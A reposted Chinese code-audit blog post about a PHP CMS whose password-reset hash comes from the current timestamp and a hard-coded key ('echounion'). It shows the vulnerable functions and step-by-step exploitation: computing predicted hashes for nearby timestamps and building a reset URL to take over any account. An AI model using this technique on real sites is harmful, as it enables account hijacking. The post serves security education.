代码审计之任意用户密码找回漏洞

来源:http://bbs.ichunqiu.com/thread-10497-1-1.html?from=ch

前言

为了防止被坏蛋哥干掉,出来写篇文章,这个是昨晚审的一套系统发现的一个任意用户密码找回漏洞,感觉还不错,就拿这个来写文章吧

漏洞起因

造成这漏洞的原因是生成找回密码密文的key是硬编码到生成密文的函数中的,所以除非站长直接修改函数中的key,不然就可以预测出密文来找回密码(不过一般的站长总不会自己去修改代码来解决这漏洞吧。。)

漏洞分析

我们在使用系统的邮箱找回密码功能的时,发现会给邮箱发送这么一个url,一点击这个url就进入重新设置用户密码的界面

http://127.0.0.1//xxxxx/index.php?s=/member/reset_password/username/test1/email/3281210550%40qq.com/hash/MnToQi3nMuTochxcMeDEzNgO0O0OO0O0O/addtime/1471710136.html

一打开就进入了重新设置密码的界面

hash/MnToQi3nMuTochxcMeDEzNgO0O0OO0O0O/addtime/1471710136.html

可以看到有这么一个hash值

下面我们来看代码看看这个hash值是如何生成的

function find_password()

{

if ($_POST) {

self::check_verify();

$_POST = array_map('strval', $_POST);

if (empty($_POST['username']) || empty($_POST['email']) || !preg_match("/^[\w\-\.]+@[\w\-\.]+(\.\w+)+$/", $_POST['email'])) {

$this->error('请输入用户名与注册邮件');

}

$map['username'] = inject_check($_POST['username']);

$map['email'] = inject_check($_POST['email']);

$t = M('member')->where($map)->find();

if (!$t) {

$this->error('用户名与邮件不匹配');

} else {

$map['hash'] = xxxx_encrypt(time());

$map['addtime'] = time();

M('find_password')->add($map);

$url = 'http://' . $_SERVER['HTTP_HOST'] . '/' . U('Member/reset_password', $map);

$body = "您在" . date('Y-m-d H:i:s') . "提交了找回密码请求。请点击下面的链接重置密码(48小时内有效)。
{$url}";

send_mail($t['email'], $t['email'] . '用户', '用户找回密码邮件', $body);

$this->assign("waitSecond", 30);

$this->assign("jumpUrl", U('Member/login'));

$this->success('找回密码成功!请在48小时内登陆邮箱重置密码!');

}

} else {

$this->display();

}

}

复制代码

代码大概的意思就是如果输入了正确的用户名和邮箱就调用了 xxxx_encrypt来生成找回密码的密文

$map['hash'] = xxxx_encrypt(time());

可以看到hash值是通过xxxx_encrypt函数生成的,time()函数的返回值是服务器当前时间的unix时间戳


echo time();

?>

然后追踪下来,看xxxx_encrypt函数

function xxxx_encrypt($string = '', $skey = 'echounion')

{

$skey = array_reverse(str_split($skey));

$strArr = str_split(base64_encode($string));

$strCount = count($strArr);

foreach ($skey as $key => $value) {

$key < $strCount && $strArr[$key] .= $value;

}

return str_replace('=', 'O0O0O', join('', $strArr));

}

复制代码

可以看到function xxxx_encrypt($string = '', $skey = 'echounion')

key在没有传递的情况下,默认为$skey = 'echounion',而调用这个函数的时候,第二个参数刚好为空,所以key也就是'echounion'了,而且最要命的是这是硬编码进来的,安装的时候也没有对这个key进行初始化,也就是说除非站长直接改动代码,不然这个key就不会改了,因为是硬编码进来的

这个函数的功能用key对传递过来的string进行加密,虽然这个加密函数比较简单,不过我这种菜逼还是看的似懂非懂,不过突然想到了,加密的值和key都知道了,可以直接预测出找回密码时生成的密文的,这样就可以重置任意用户的密码了

function reset_password()

{

if ($_REQUEST['email'] == '' || $_REQUEST['username'] == '' || $_REQUEST['hash'] == '' || $_REQUEST['addtime'] == '') {

$this->errpr('URL参数不完整');

}

$_REQUEST = array_map('strval', $_REQUEST);

$map['username'] = inject_check($_REQUEST['username']);

$map['email'] = inject_check($_REQUEST['email']);

$map['hash'] = inject_check($_REQUEST['hash']);

$map['addtime'] = inject_check($_REQUEST['addtime']);

$t = M('find_password')->where($map)->find();

if (!$t) {

$this->error('URL参数不正确');

} else {

if (time > $t['addtime'] + 48 * 3600) {

$this->error('URL已经过期');

M('find_password')->where('id=' . $t['id'])->delete();

}

}

if ($_POST) {

if ($_POST['newpwd'] == '' || $_POST['newpwd'] != $_POST['newpwd2']) {

$this->error('密码不能为空,两次密码输入必须一致');

}

unset($map['hash']);

unset($map['addtime']);

M('member')->where($map)->setField('userpwd', md5($_POST['newpwd']));

$this->assign("jumpUrl", U('Member/login'));

$this->success('密码已经修改成功!请登陆');

} else {

$this->display();

}

}

复制代码

$map['username'] = inject_check($_REQUEST['username']);

$map['email'] = inject_check($_REQUEST['email']);

$map['hash'] = inject_check($_REQUEST['hash']);

$map['addtime'] = inject_check($_REQUEST['addtime']);

$t = M('find_password')->where($map)->find();

addtime和hash是可预测的,也就是说只要知道用户名和邮箱就可以找回任意用户的密码了

漏洞利用

由于value是time(),也就是服务器当前时间的unix时间戳,而key是硬编码进去的,所以可以直接调用这个加密函数来得到密文,找回密码

首先点击忘记密码,输入你要重置密码的用户的用户名和邮箱,然后点击验证,记住发送的时间(可能本地的时间和服务器的时间多多少少有点误差,这种情况下,可以写个小脚本,生批量生成最近几十秒unix时间戳的密文访问测试)

假设这里的时间戳为1471711028(把时间转换为时间戳,直接百度一下就有很多相关的在线工具了)


function xxxx_encrypt($string = '', $skey = 'echounion')

{

$skey = array_reverse(str_split($skey));

$strArr = str_split(base64_encode($string));

$strCount = count($strArr);

foreach ($skey as $key => $value) {

$key < $strCount && $strArr[$key] .= $value;

}

return str_replace('=', 'O0O0O', join('', $strArr));

}

echo xxxx_encrypt("1471711028")

?>

复制代码

然后构造这么一个url

http://127.0.0.1/xxxx/index.php?s=/member/reset_password/username/用户名/email/邮箱/hash/加密后的值/addtime/时间戳.html

访问,直接重置这个用户的密码

结语

通过泉哥对我前几篇文章的点评,感觉这次在排版和内容详细程度上有了不小的进步,不过由于本人是个大菜逼,写的文章难免有错误之处,希望大家指出,现在的我的技术还在起步的路上,希望有一天我的技术可以进化到自己都怕自己,同时推荐一套I春秋主站的视频教程,关于代码审计的,知道创宇出的"漏洞案例讲解"(好像是这名字),对漏洞的分析讲的挺详细和专业的。最后也谢谢泉哥对我们文章的点评

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 194,457评论 5 459
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 81,837评论 2 371
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 141,696评论 0 319
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 52,183评论 1 263
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 61,057评论 4 355
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 46,105评论 1 272
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 36,520评论 3 381
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 35,211评论 0 253
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 39,482评论 1 290
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 34,574评论 2 309
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 36,353评论 1 326
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 32,213评论 3 312
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 37,576评论 3 298
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 28,897评论 0 17
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 30,174评论 1 250
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 41,489评论 2 341
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 40,683评论 2 335

推荐阅读更多精彩内容

  • Spring Cloud为开发人员提供了快速构建分布式系统中一些常见模式的工具(例如配置管理,服务发现,断路器,智...
    卡卡罗2017阅读 134,497评论 18 139
  • 22年12月更新:个人网站关停,如果仍旧对旧教程有兴趣参考 Github 的markdown内容[https://...
    tangyefei阅读 35,156评论 22 257
  • 1、不安全的随机数生成,在CSRF TOKEN生成、password reset token生成等,会造成toke...
    nightmare丿阅读 3,657评论 0 1
  • 不知不觉小鱼已经踏出大学校园有一个多月了,回望过去四年也是感慨万千。 既有对大学生活的留恋,又有些许遗憾。 马上又...
    好喵不碰小鱼干阅读 1,941评论 2 10
  • 今天已经连续工作48小时了,还要继续24小时 快要撑不住了 好累好累 但是我还是在去往工作的路上 心情不好的时候最...
    聪米阅读 252评论 0 1